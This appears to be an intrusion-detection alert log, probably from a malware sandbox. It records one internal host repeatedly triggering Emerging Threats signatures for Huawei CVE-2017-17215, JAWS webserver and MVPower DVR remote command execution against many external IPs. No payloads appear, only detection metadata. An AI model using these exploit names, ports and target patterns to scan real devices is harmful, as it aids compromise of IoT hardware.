06/10/24-15:38:02.766582	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	52936	37215	192.168.2.13	197.122.248.88
06/10/24-15:37:59.866129	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	52018	80	192.168.2.13	20.192.68.43
06/10/24-15:38:02.919148	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	44646	37215	192.168.2.13	197.188.36.80
06/10/24-15:37:59.953764	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	58684	37215	192.168.2.13	197.252.226.228
06/10/24-15:37:59.781384	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	37506	80	192.168.2.13	115.165.178.143
06/10/24-15:37:59.940258	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	49626	37215	192.168.2.13	197.53.161.229
06/10/24-15:38:02.084446	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	43700	80	192.168.2.13	8.145.15.147
06/10/24-15:37:59.806758	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	40556	80	192.168.2.13	84.162.2.5
06/10/24-15:37:59.951337	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	38428	37215	192.168.2.13	197.123.58.130
06/10/24-15:38:00.250289	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	58062	37215	192.168.2.13	197.241.255.243
06/10/24-15:38:02.091217	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	55178	80	192.168.2.13	75.148.35.4
06/10/24-15:38:00.204323	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	45564	37215	192.168.2.13	41.168.73.24
06/10/24-15:38:02.764373	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	43254	37215	192.168.2.13	156.81.150.33
06/10/24-15:38:02.853487	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	37098	37215	192.168.2.13	156.201.215.148
06/10/24-15:38:02.131522	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	42740	80	192.168.2.13	212.194.156.239
06/10/24-15:38:00.198032	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	54544	37215	192.168.2.13	197.181.198.133
06/10/24-15:38:02.308830	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	53204	80	192.168.2.13	207.231.246.49
06/10/24-15:38:02.824797	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	49450	37215	192.168.2.13	41.91.3.35
06/10/24-15:38:02.835522	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	45676	37215	192.168.2.13	156.30.176.173
06/10/24-15:38:00.250990	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	50800	37215	192.168.2.13	197.56.46.223
06/10/24-15:38:02.204471	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	37872	80	192.168.2.13	130.15.10.169
06/10/24-15:37:59.939523	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	56768	37215	192.168.2.13	41.92.127.129
06/10/24-15:38:02.322475	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	39382	80	192.168.2.13	187.115.23.27
06/10/24-15:38:02.805331	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	37884	37215	192.168.2.13	156.239.33.211
06/10/24-15:38:00.005516	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	53026	37215	192.168.2.13	197.57.68.100
06/10/24-15:38:00.258740	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	53884	37215	192.168.2.13	156.254.58.48
06/10/24-15:38:02.175217	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	34330	80	192.168.2.13	141.155.135.155
06/10/24-15:38:02.914938	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	59818	37215	192.168.2.13	197.246.148.60
06/10/24-15:38:00.008064	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	39324	37215	192.168.2.13	156.211.48.76
06/10/24-15:38:02.290844	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	46446	80	192.168.2.13	146.127.201.93
06/10/24-15:37:59.868776	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	42046	80	192.168.2.13	195.209.166.102
06/10/24-15:37:59.944688	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	46644	37215	192.168.2.13	156.79.10.64
06/10/24-15:38:00.209800	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	46028	37215	192.168.2.13	156.46.209.218
06/10/24-15:38:00.248812	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	33070	37215	192.168.2.13	197.190.17.120
06/10/24-15:38:00.186102	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	53280	37215	192.168.2.13	156.226.178.21
06/10/24-15:38:02.694481	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	51728	37215	192.168.2.13	197.76.64.6
06/10/24-15:38:02.109647	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	53966	80	192.168.2.13	72.31.149.51
06/10/24-15:38:02.258309	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	58242	80	192.168.2.13	107.69.148.137
06/10/24-15:38:02.114754	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	52392	80	192.168.2.13	76.129.22.5
06/10/24-15:38:02.644240	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	50450	37215	192.168.2.13	41.237.168.85
06/10/24-15:38:00.160015	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	44468	37215	192.168.2.13	156.134.62.117
06/10/24-15:38:02.240413	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	38658	80	192.168.2.13	140.7.159.132
06/10/24-15:38:02.840962	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	38198	37215	192.168.2.13	156.94.92.161
06/10/24-15:38:02.646438	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	45280	37215	192.168.2.13	197.159.14.165
06/10/24-15:38:00.027699	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	55096	37215	192.168.2.13	41.59.124.13
06/10/24-15:38:00.270805	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	57758	37215	192.168.2.13	41.129.88.86
06/10/24-15:38:02.109019	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	60560	80	192.168.2.13	125.86.204.158
06/10/24-15:38:00.202797	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	49114	37215	192.168.2.13	41.206.110.186
06/10/24-15:38:00.161493	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	33540	37215	192.168.2.13	41.69.228.208
06/10/24-15:38:02.506272	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	32782	37215	192.168.2.13	156.211.133.216
06/10/24-15:38:00.255864	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	46904	37215	192.168.2.13	197.116.245.45
06/10/24-15:37:59.946134	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	33492	37215	192.168.2.13	197.125.224.191
06/10/24-15:38:02.917908	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	47136	37215	192.168.2.13	197.51.204.222
06/10/24-15:38:02.933795	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	52838	37215	192.168.2.13	41.70.30.5
06/10/24-15:38:00.221508	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	54140	37215	192.168.2.13	197.225.243.209
06/10/24-15:38:00.017705	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	44662	37215	192.168.2.13	41.253.102.61
06/10/24-15:38:02.692312	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	55186	37215	192.168.2.13	41.65.34.75
06/10/24-15:38:02.850206	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	40532	37215	192.168.2.13	156.21.120.143
06/10/24-15:38:02.866110	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	54502	37215	192.168.2.13	156.239.132.115
06/10/24-15:38:02.709297	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	33708	37215	192.168.2.13	41.0.196.5
06/10/24-15:38:00.260140	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	46142	37215	192.168.2.13	41.112.119.1
06/10/24-15:37:59.933966	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	56460	37215	192.168.2.13	156.32.132.93
06/10/24-15:37:59.986870	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	57044	37215	192.168.2.13	156.218.214.250
06/10/24-15:38:02.857260	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	52206	37215	192.168.2.13	41.31.52.172
06/10/24-15:38:02.808787	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	53890	37215	192.168.2.13	41.19.84.44
06/10/24-15:38:00.019152	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	57320	37215	192.168.2.13	156.12.201.188
06/10/24-15:38:00.022727	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	38164	37215	192.168.2.13	156.162.243.21
06/10/24-15:38:02.208623	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	33738	80	192.168.2.13	60.238.166.80
06/10/24-15:37:59.973933	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	60388	37215	192.168.2.13	197.149.113.57
06/10/24-15:38:02.741975	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	53950	37215	192.168.2.13	41.157.185.2
06/10/24-15:38:02.870630	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	56808	37215	192.168.2.13	156.103.106.207
06/10/24-15:37:59.866129	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	52018	80	192.168.2.13	20.192.68.43
06/10/24-15:38:02.510425	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	37076	37215	192.168.2.13	156.245.92.52
06/10/24-15:38:02.922975	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	33046	37215	192.168.2.13	197.142.139.143
06/10/24-15:38:02.834263	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	39336	37215	192.168.2.13	156.66.48.157
06/10/24-15:38:02.936119	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	47328	37215	192.168.2.13	156.49.85.159
06/10/24-15:37:59.931967	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	37610	37215	192.168.2.13	156.89.39.231
06/10/24-15:38:02.167024	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	50818	80	192.168.2.13	152.8.91.49
06/10/24-15:38:00.237158	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	42124	37215	192.168.2.13	41.235.244.224
06/10/24-15:38:00.238002	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	57242	37215	192.168.2.13	197.145.93.184
06/10/24-15:38:00.189175	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	58464	37215	192.168.2.13	41.57.17.164
06/10/24-15:38:00.162235	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	37698	37215	192.168.2.13	41.34.192.208
06/10/24-15:38:02.179580	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	39528	80	192.168.2.13	89.154.140.237
06/10/24-15:37:59.942479	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	55606	37215	192.168.2.13	197.142.203.17
06/10/24-15:38:00.191721	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	48406	37215	192.168.2.13	41.226.55.109
06/10/24-15:38:02.149724	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	41308	80	192.168.2.13	186.226.52.88
06/10/24-15:38:02.644982	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	60718	37215	192.168.2.13	156.152.171.196
06/10/24-15:37:59.772200	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	49156	80	192.168.2.13	181.171.108.67
06/10/24-15:38:00.160743	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	57854	37215	192.168.2.13	156.211.139.234
06/10/24-15:37:59.964618	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	54370	37215	192.168.2.13	156.201.14.29
06/10/24-15:37:59.999497	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	37368	37215	192.168.2.13	156.90.232.117
06/10/24-15:38:00.212309	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	55900	37215	192.168.2.13	197.128.202.20
06/10/24-15:38:00.239703	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	33930	37215	192.168.2.13	41.183.245.26
06/10/24-15:38:00.195434	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	34518	37215	192.168.2.13	156.156.125.193
06/10/24-15:38:02.504959	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	34860	37215	192.168.2.13	41.245.146.76
06/10/24-15:38:00.029158	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	34938	37215	192.168.2.13	156.205.120.113
06/10/24-15:38:00.260853	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	44940	37215	192.168.2.13	197.195.196.75
06/10/24-15:38:00.017007	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	41972	37215	192.168.2.13	156.163.189.151
06/10/24-15:38:02.689784	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	55340	37215	192.168.2.13	197.81.221.6
06/10/24-15:38:02.236761	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	58072	80	192.168.2.13	210.226.139.82
06/10/24-15:38:00.015623	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	40590	37215	192.168.2.13	41.194.61.76
06/10/24-15:38:02.238893	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	46862	80	192.168.2.13	206.64.82.156
06/10/24-15:37:59.934919	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	56378	37215	192.168.2.13	156.60.90.199
06/10/24-15:37:59.983452	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	44048	37215	192.168.2.13	197.255.246.136
06/10/24-15:37:59.992068	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	49128	37215	192.168.2.13	156.165.201.247
06/10/24-15:38:02.657284	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	50714	37215	192.168.2.13	41.14.88.10
06/10/24-15:38:00.230283	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	53326	37215	192.168.2.13	41.63.57.16
06/10/24-15:38:00.010670	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	54964	37215	192.168.2.13	41.58.54.58
06/10/24-15:38:02.827129	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	42044	37215	192.168.2.13	197.251.250.147
06/10/24-15:38:02.778188	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	36016	37215	192.168.2.13	41.186.142.103
06/10/24-15:38:02.130177	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	49926	80	192.168.2.13	48.89.208.8
06/10/24-15:38:02.193407	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	37466	80	192.168.2.13	213.143.126.69
06/10/24-15:38:02.776905	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	46860	37215	192.168.2.13	197.45.254.180
06/10/24-15:38:00.183832	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	50966	37215	192.168.2.13	156.110.2.110
06/10/24-15:37:59.948276	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	46442	37215	192.168.2.13	156.98.83.218
06/10/24-15:38:02.641252	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	47262	37215	192.168.2.13	41.229.155.150
06/10/24-15:37:59.959524	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	47272	37215	192.168.2.13	41.201.89.180
06/10/24-15:38:00.245474	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	43920	37215	192.168.2.13	156.244.109.56
06/10/24-15:37:59.958705	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	44164	37215	192.168.2.13	41.26.2.2
06/10/24-15:38:00.171881	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	37844	37215	192.168.2.13	156.195.94.23
06/10/24-15:37:59.925134	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	60470	37215	192.168.2.13	156.57.11.197
06/10/24-15:38:00.019873	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	41708	37215	192.168.2.13	156.19.135.49
06/10/24-15:38:02.862438	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	57532	37215	192.168.2.13	156.34.17.184
06/10/24-15:38:00.193999	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	43578	37215	192.168.2.13	197.105.96.234
06/10/24-15:38:02.723332	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	47500	37215	192.168.2.13	197.47.184.132
06/10/24-15:38:00.001255	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	37376	37215	192.168.2.13	156.15.16.186
06/10/24-15:38:00.190024	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	46504	37215	192.168.2.13	197.0.201.185
06/10/24-15:38:02.792332	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	51254	37215	192.168.2.13	41.54.19.9
06/10/24-15:37:59.996136	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	60446	37215	192.168.2.13	197.226.229.29
06/10/24-15:38:02.213753	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	41004	80	192.168.2.13	92.205.159.254
06/10/24-15:38:02.494045	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	35882	37215	192.168.2.13	197.129.137.220
06/10/24-15:38:00.025563	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	40448	37215	192.168.2.13	156.11.232.27
06/10/24-15:37:59.838365	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	34216	80	192.168.2.13	39.251.150.235
06/10/24-15:37:59.862278	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	43590	80	192.168.2.13	200.227.24.116
06/10/24-15:38:02.247958	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	52852	80	192.168.2.13	174.179.145.49
06/10/24-15:37:59.973058	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	56350	37215	192.168.2.13	156.211.89.221
06/10/24-15:38:02.264600	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	44888	80	192.168.2.13	193.68.253.21
06/10/24-15:38:02.501600	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	58548	37215	192.168.2.13	41.114.65.8
06/10/24-15:38:02.802976	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	45606	37215	192.168.2.13	156.104.41.78
06/10/24-15:38:02.928461	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	46424	37215	192.168.2.13	197.157.72.91
06/10/24-15:38:02.775920	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	35870	37215	192.168.2.13	197.39.173.119
06/10/24-15:38:00.020596	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	56620	37215	192.168.2.13	156.24.110.61
06/10/24-15:38:00.216411	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	34482	37215	192.168.2.13	41.10.140.61
06/10/24-15:38:00.162961	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	55306	37215	192.168.2.13	156.199.176.162
06/10/24-15:38:00.024162	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	52364	37215	192.168.2.13	197.238.227.229
06/10/24-15:38:02.821238	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	32890	37215	192.168.2.13	41.59.132.123
06/10/24-15:37:59.933051	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	53100	37215	192.168.2.13	41.97.23.92
06/10/24-15:38:00.003802	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	33756	37215	192.168.2.13	197.244.78.206
06/10/24-15:37:59.842965	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	49276	80	192.168.2.13	219.24.143.221
06/10/24-15:38:02.638444	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	40638	37215	192.168.2.13	41.46.185.236
06/10/24-15:38:02.498786	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	47358	37215	192.168.2.13	197.25.178.38
06/10/24-15:38:02.160403	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	59562	80	192.168.2.13	134.74.126.54
06/10/24-15:38:02.157918	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	60478	80	192.168.2.13	147.71.128.26
06/10/24-15:37:59.822693	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	34326	80	192.168.2.13	161.147.107.200
06/10/24-15:38:00.201249	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	56976	37215	192.168.2.13	156.79.171.4
06/10/24-15:38:02.245245	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	56010	80	192.168.2.13	12.216.25.54
06/10/24-15:37:59.802263	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	47840	80	192.168.2.13	99.27.23.33
06/10/24-15:38:00.218073	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	45262	37215	192.168.2.13	156.193.239.253
06/10/24-15:38:02.869004	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	39244	37215	192.168.2.13	41.168.51.174
06/10/24-15:38:02.244589	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	55226	80	192.168.2.13	63.62.53.197
06/10/24-15:38:02.687592	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	56152	37215	192.168.2.13	156.149.203.68
06/10/24-15:38:00.181485	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	48948	37215	192.168.2.13	41.116.99.196
06/10/24-15:37:59.927927	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	41114	37215	192.168.2.13	156.18.195.164
06/10/24-15:38:02.913437	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	59684	37215	192.168.2.13	41.187.204.30
06/10/24-15:38:02.726932	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	34468	37215	192.168.2.13	156.185.253.184
06/10/24-15:38:02.930759	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	33768	37215	192.168.2.13	156.147.57.40
06/10/24-15:38:02.491066	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	47950	37215	192.168.2.13	156.134.197.214
06/10/24-15:38:02.220012	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	44608	80	192.168.2.13	159.234.223.64
06/10/24-15:38:02.498091	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	49488	37215	192.168.2.13	156.64.75.27
06/10/24-15:38:02.780766	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	57340	37215	192.168.2.13	41.177.168.250
06/10/24-15:37:59.871854	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	39034	80	192.168.2.13	152.83.224.204
06/10/24-15:37:59.988624	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	51130	37215	192.168.2.13	41.109.81.128
06/10/24-15:38:02.125561	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	33280	80	192.168.2.13	106.120.14.251
06/10/24-15:38:00.163693	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	60154	37215	192.168.2.13	197.176.59.104
06/10/24-15:38:02.147216	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	33116	80	192.168.2.13	117.189.134.28
06/10/24-15:38:00.223242	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	50042	37215	192.168.2.13	197.42.26.190
06/10/24-15:38:02.691059	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	53244	37215	192.168.2.13	156.140.104.46
06/10/24-15:38:00.035608	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	41890	37215	192.168.2.13	197.253.99.100
06/10/24-15:38:02.836583	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	33064	37215	192.168.2.13	156.2.52.209
06/10/24-15:38:02.093026	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	47666	80	192.168.2.13	132.254.47.159
06/10/24-15:38:00.132778	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	40686	37215	192.168.2.13	41.219.156.112
06/10/24-15:38:02.303255	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	52004	80	192.168.2.13	211.227.251.93
06/10/24-15:37:59.936837	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	47918	37215	192.168.2.13	197.192.210.171
06/10/24-15:37:59.869779	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	56778	80	192.168.2.13	124.198.230.56
06/10/24-15:37:59.813573	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	55620	80	192.168.2.13	46.11.146.222
